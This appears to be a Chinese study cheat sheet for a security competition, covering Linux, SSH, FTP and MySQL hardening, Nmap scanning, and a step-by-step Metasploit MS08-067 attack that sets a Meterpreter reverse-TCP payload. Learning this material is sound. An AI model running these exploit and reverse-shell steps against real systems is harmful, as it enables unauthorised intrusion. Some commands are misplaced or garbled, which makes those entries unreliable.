Linux常用命令
重启:reboot 关机:shutdown -h now
打开终端:Ctrl+Alt+T Ctrl+D关闭
Ctrl+C 取消 Ctrl+L 清屏
→ 补全代码 ↑ 重复命令记录 tab 补全
Sudo 普通用户提权
# 管理员账号(红色) $ 普通账号(蓝色)
查看主机名称: hostname
显示内核版本:uname –r
显示版本号: cat /proc/version
显示主机系统信息:uname –a
显示操作系统架构:uname –i
系统有哪些服务:service --status-all
查看开启的服务:chkconfig --list
搜索文件:find / -name *.conf
定时任务设置:crontab -e
查看用户:cat /etc/passwd
查看组:cat /etc/group
新建用户并设置ID: useradd caojh -u 544
为账户创建密码:Passwd caojh
修改newuser的用户名为newuser1:usermod -l cao caojh
删除用户:userdel cao
锁定账号cao:usermod -L cao
解除对newuser1的锁定:usermod -U cao
网络状况:netstat –a
查看当前登陆用户:whoami
登录安全加固
vim /etc/pam.d/login
加:
vim /etc/login.defs
设置:net user user1 123456 /time:M-F,9:00-18:00
查看:net user user1
vim /etc/pam.d/system-auth
6、密码策略必须同时满足大小写字母、数字、特殊字符(Linux),将/etc/pam.d/system-auth配置文件中对应的部分截图:
在pam_cracklib.so后加:
8、用chattr命令防止系统中的关键文件被修改,提高系统安全性。chattr +i /etc/passwd
(锁定passwd、shadow、 group 、gshadow 这四个文档的属性,撤销锁定命令:chattr -i /etc/passwd)
SSH 远程登录
1、开启SSH服务 systemctl start sshd
2、重启 sshd 服务(配置完成需要重启生效)
Vim /etc/ssh/sshd_config
3、修改ssh服务端口为 2222,使用命令netstat -anltp | grep sshd查看SSH服务端口信息,
4、指定SSH协议版本(禁用sshv1,使用sshv2),增加:Protocol 2
5、ssh禁止ROOT用户远程登录(PermitRootLogin no)
或添加 DenyUser root
6、为了防止密码在登录或者传输信息中被窃取,仅使用证书登录SSH(Linux),将/etc/ssh/sshd_config配置文件中对应的部分截图:
7、只允许honor这个用户使用SSH远程登录,其他用户不能。
AllowUsers honor
8、最多允许密码错误次数(默认6次,调为3次)
MaxAuthTries 3
9、启用严格(强制安全性)模式:StrictMode yes
10、基于公钥的身份验证,启用公钥身份验证
PubkeyAuthentication yes
11、禁用X11转发:X11Forwarding no
12、配置SSH登录超时限制
ClientAliveInterval 120,ClientAliveCountMax 5
13、配置SSH登录标语(Banner信息)Banner NONE
14、配置SSH远程登录失败策略,SSH登录密码错误3次,锁定账户3分钟。
vim /etc/pam.d/sshd
在#%PAM-1.0下添加一行
auth required pam_tally2.so deny=3 unlock_time=180 even_deny_root root_unlock_time300
15、设置root⽤户的计划任务。每天早上7:50⾃动开启ssh服务,22:50关闭;每周六的7:30重新启动ssh服务
crontab –e,按i键进入编辑模式,输入以下内容,保存退出,使用命令crontab -l可查看创建的计划任务。
16、配置SSHD的PID档案存放地
Vim PidFile /var/run/sshd.pid
VSFTPD 服务
Vim /etc/vsftpd/vsftpd.conf
1、设置超时时间为2分钟,无任何操作的超时时间为5分钟,
2、设置运行 vsftpd 的非特权系统用户为 pyftp
添加:nopriv_user=pyftp
3、限制客户端连接的端口范围在 50000-60000
添加:pasv_min_port=50000,pasv_max_port=60000
4、限制本地用户登录活动范围限制在 home 目录
添加:chroot_local_user=YES
5、禁止匿名用户登录
添加:anonymous_enable=NO
6、禁止匿名用户上传
添加:anon_upload_enable=NO
7、禁止匿名用户创建目录的权限
添加:anon_mkdir_write_enable=NO
8、禁止匿名用户删除和重命名的权限
添加:anon_other_write_enable=NO
9、匿名用户访问的最大传输速率为512KB/S。(512*1024)
添加:anon_max_rate=524288
10、设置本地用户访问的最大传输速率为1M(1*1024*1024)
添加:local_max_rate=1048576
11、允许匿名登录 :anonymous_enable=YES
12、允许本地用户登录 :local_enable=YES
13、开放本地用户的写权限 :write_enable=YES
14、设置本地用户的文件生成掩码为022 :local_umask=022
15、激活上传和下载日志 :xferlog_enable=YES
16、启用FTP数据端口的连接请求 :connect_from_port_20=YES
17、使用标准的ftpd xferlog日志格式 :xferlog_std_format=YES
18、关闭ascii模式下载,防止被用于DoS攻击。
防火墙
18、为防止SSH服务被暴力枚举,设置iptables防火墙策略仅允许172.16.10.0/24网段内的主机通过SSH连接本机,将iptables配置命令截图:
数据库加固
1、 检查MySQL服务是否启动:systemctl status mysqld
启动数据库:net start mysql
2、登录管理数据库:mysql -u root –p 然后在输入密码(用匿名登录可直接输mysql)
3、退出数据库:exit 或 quit
4、创建数据库:create database test;
5、查看数据库:show databases;
6、使用数据库:use test;
8、删除默认数据库test
9、查看Mysql用户表:select user,host from mysql.user;
10、新建用户:create user ‘user1’ @’localhost’identified by ‘123456’
11、删除Mysql用户:drop user '用户名'@'localhost';
12、改变默认管理员用户为:SuperRoot
update mysql.user set user=’SuperRoot’ where user=’root’;
13、用md5加密函数加密用户user1的密码为:P@ssw0rd1!)
14、赋予user1用户对数据库所有表只有select、insert、delete、update权限
15、对忘记mysql数据库SuperRoot管理员密码进行重置操作;
扫描
fping -g 172.16.1.0/24 扫描网段存活主机
arping -c 4 172.16.1.4 有防火墙情况下主机扫描 (4个包)
genlist -s 172.16.1.\* 扫描网段存活主机
Nmap
Nmap –T4 –A -v 172.16.101.23 快速探测全部信息
Nmap -sV 172.16.101.23 开放端口运行的服务及版本
Nmap -O 172.16.101.23 操作系统识别
Nmap -sn 172.16.101.0/24 扫描网段
Nmap -sS 172.16.101.0/24 扫描网段(高速)
Nmap -Pn 172.16.101.1-255 扫描网段(绕过防火墙禁ping)
Nmap -p80 172.16.101.23 扫描指定端口
Nmap -sP 172.16.101.0/24 扫描网段(ping 方式)
Nmap -p0 172.16.101.23 (不ping 扫描)
Nmap -sW 172.16.101.23 滑动窗口扫描
Nmap -sR 172.16.101.23 RPC扫描
Nmap -sT 172.16.101.23 TCP扫描
Nmap -sU 172.16.101.23 UDP扫描
Nmap -sY 172.16.101.23 探测防火墙状态
Nmap --script vuln 172.16.101.23 漏洞扫描
dirb http://172.16.101.23 目录扫描
nc 172.16.101.23 48119 后门探测banner信息(然后用pwd,cat或more查看文件内容)
Hydra 密码爆破
Kali linux自带的密码字典存在usr/share/wordlists目录下
Metasploit渗透攻击
msfconsole 进入Metasploit
help 帮助
search MS08-067 搜索漏洞
use exploit/windows/smb/ms08_067_netapi ms08_067攻击模块
check 用相应的模块进行漏洞检测
set payload windows/meterpreter/reverse_tcp 设置攻击载荷
show options 设置参数
set rhost 192.168.110.8 设置目标IP
set lhost 192.168.110.128 设置反向链接本机IP
show targets 查看目标系统序号
set target 10 设置目标系统序号为10
exploit或者 Run 攻击
run vnc 桌面监视
Search Mssql_login 搜索登录模块
Search ssh_login 搜索登录模块
Search ftp_login 搜索登录模块
典型系统漏洞 | 类型 | 影响范围 |
MS08-067 | 远程代码执行漏洞 | Windows Server 2000 Windows XP Windows 2003 |
MS08-068 | 远程代码执行漏洞 | Windows 2000/XP |
MS09-050 | 远程执行代码漏洞 | Windows Server 2008 Windows 7 Windows Server 2008 R2 |
MS12-020 | 远程代码执行漏洞 | Windows XP Windows 7 Windows Server 2008 R2 Windows Server 2008 |
MS15-034 | 远程代码执行漏洞 | Windows 7 Windows Server 2008 R2 Windows Server 2012 Windows Server 2012 R2 |
MS17-010 永恒之蓝 | 攻击者可以通过发送特制的SMB请求执行任意代码,并在远程系统上获取系统权限 。 | Windows 7 Windows Server 2008 R2 Windows Server 2012 |
CVE-2017-7494 | linux | |
vsFTPd2.3.4 Backdoor笑脸漏洞 | linux |
SSH远程登录:
1、ssh 172.16.101.106 (默认用户、默认端口)
2、ssh user@172.16.101.106 (指定用户、默认端口)
3、ssh user@172.16.101.106 -p 2222(指定用户、指定端口)
Exit退出
FTP下载:
1、ftp 172.16.101.23 (命令登录)
2、ftp://用户名:密码@IP:端口(浏览器登录)
登录后 ls 查看文件
下载文件:get 123.txt
上传文件:put 123.txt
help帮助 退出:quit或者bye
解压文件:
1、把/home目录下面的mydata.zip解压到mydatabak目录里面:
unzip mydata.zip -d mydatabak
2、把/home目录下面的wwwroot.zip直接解压到/home目录里面:
unzip wwwroot.zip
3、将档案 file1.txt 设为所有人皆可读取:
chmod a+r file.txt
漏洞扫描工具: x-scan(国产)、Fluxay、 nessus、wvs等
B-2内存取证